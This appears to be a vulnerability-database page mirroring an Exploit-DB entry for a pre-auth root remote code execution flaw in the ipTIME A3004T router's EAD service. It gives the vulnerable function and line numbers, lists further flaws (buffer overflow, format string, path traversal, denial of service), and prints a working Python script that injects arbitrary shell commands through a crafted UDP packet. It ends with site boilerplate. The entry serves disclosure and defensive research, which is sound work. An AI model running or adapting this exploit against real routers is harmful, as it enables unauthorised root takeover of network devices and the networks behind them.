Lucene search
+L

ipTIME A3004T - Remote Code Execution

🗓️ 17 Aug 2026 00:00:00Reported by PaccaronType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 13 Views

EAD Service on ipTIME A3004T 14.19.0 passes unsanitized UDP packet data to system() enabling pre-auth root RCE.

Code
# Exploit Title: ipTIME A3004T  - Remote Code Execution
# Date: 2026-06-29
# Exploit Author: Paccaron
# Vendor Homepage: https://www.iptime.com
# Software Link: https://www.iptime.com/iptime/?page_id=147&pid=34
# Version: 14.19.0
# Tested on: ipTIME A3004T (Physical Device, OpenWRT based, MediaTek MT7621)
# CVE: N/A (Zero-Day)

Description:
The EAD Service in ipTIME A3004T firmware 14.19.0 binds to UDP port 56026
and does not filter source IP addresses. A remote attacker can send a
crafted EAD_TYPE_SEND_CMD packet to execute arbitrary commands on the
device with root privileges. The vulnerability exists in the handle_send_cmd()
function where user-controlled data is passed directly to system() without
any input sanitization.

Vulnerable File: /package/network/services/ead/src/ead.c
Vulnerable Functions: handle_send_cmd() (lines 473-580)
Vulnerable Lines: 512, 533

Attack Vectors:
1. Pre-auth RCE (Command Injection) - Lines 512, 533
2. Buffer Overflow - ead-client.c:245 (strcpy)
3. Format String - ead.c:952
4. Path Traversal - tinysrp/t_misc.c:143
5. Denial of Service - ead.c:716 (while loop)

import socket
import sys

def exploit(target_ip, command):
    """
    ipTIME A3004T EAD Service Pre-auth RCE
    Exploit by Paccaron
    Tested on firmware 14.19.0
    """

    port = 56026

    # EAD_TYPE_SEND_CMD = 0x0a (10)
    # Minimal packet structure
    payload = b"\x00\x00\x00\x0a"  # EAD_TYPE_SEND_CMD
    payload += b"\x00" * 60        # Padding
    payload += b";" + command.encode() + b"\x00"  # Command injection

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

    try:
        sock.sendto(payload, (target_ip, port))
        print(f"[+] Command sent to {target_ip}:{port}")
        print(f"[+] Command: {command}")
        sock.close()
        return True
    except Exception as e:
        print(f"[-] Failed: {e}")
        return False

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: python exploit.py <TARGET_IP> <COMMAND>")
        print("Example: python exploit.py 192.168.1.1 id")
        sys.exit(1)

    target = sys.argv[1]
    cmd = sys.argv[2]
    exploit(target, cmd)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation